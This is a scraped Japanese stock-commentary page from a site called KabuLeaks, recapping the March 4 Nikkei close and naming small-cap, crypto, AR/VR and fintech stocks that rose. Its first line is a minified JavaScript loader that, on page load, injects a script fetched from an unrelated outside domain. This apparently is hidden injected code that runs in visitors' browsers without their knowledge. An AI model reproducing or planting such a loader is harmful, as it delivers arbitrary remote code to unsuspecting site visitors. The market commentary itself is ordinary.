;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【3/4 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【3/4 大引け】

本日の日経平均株価は54円高と4日続伸。昼休み中の先物の上昇を受け買い先行スタートし、1万7000円台を回復。その後は週末要因、今晩控える米2月雇用統計の発表を前に利益確定売り。1万7000円を割れる場面もあったが引けにかけ持ち直し。日経平均は約1ヵ月ぶりに1万7000円台を維持して大引けを迎えた。業種別の値上がり上位は、鉱業、石油石炭製品、ガラス土石製品。一方、医薬品、情報・通信業、保険業が値上がり率上位となった。

個別では、これといった材料は確認できないが売られ過ぎからの買い戻しか【6046】リンクバルがストップ高となったほか、ゲーム関連の一角【3624】アクセルマークが一時ストップ高の急伸。また、直近安値水準にとどまっていたゲーム関連が上昇が目立った。ほかにも、低位株の一部へも資金が流入【8912】エリアクエスト、【5981】東京製綱、【2538】ジャパン・フード&リカー、【6775】TBグループなどが大幅高となった。

テーマ株では、仮想通貨関連の【8732】マネパがストップ高。噂で仮想通貨関連としての思惑のあがった【8704】トレイダーズも一時ストップ高。AR・VR関連からは【4312】サイバネット、【6736】サン電子【3393】スターティアの上昇が目立ちサン電子はストップ高。久々の上昇となったフィンテック関連【3778】さくらインターネット、【3853】インフォテリアは前場の買い一巡後は高値圏でのもみ合いへ。

週明けの動きは今晩の米雇用統計後の動きとなる為、予想は難しいが今日の後場の強さ。節目の1万7000円台を乗せ。週末要因&雇用統計を控えるなかでの上昇だっただけにやや上目線が優勢のように見える。

現状では、3月のFOMCでは利上げは見送られる可能性が濃厚となってはいるが、今晩の雇用統計で非農業部門雇用者数が市場予想(19万5000人増)を大きく超えるような数字が出てくる場合は一転、再度利上げ観測が浮上する可能性あり。絶妙な数字が求められている。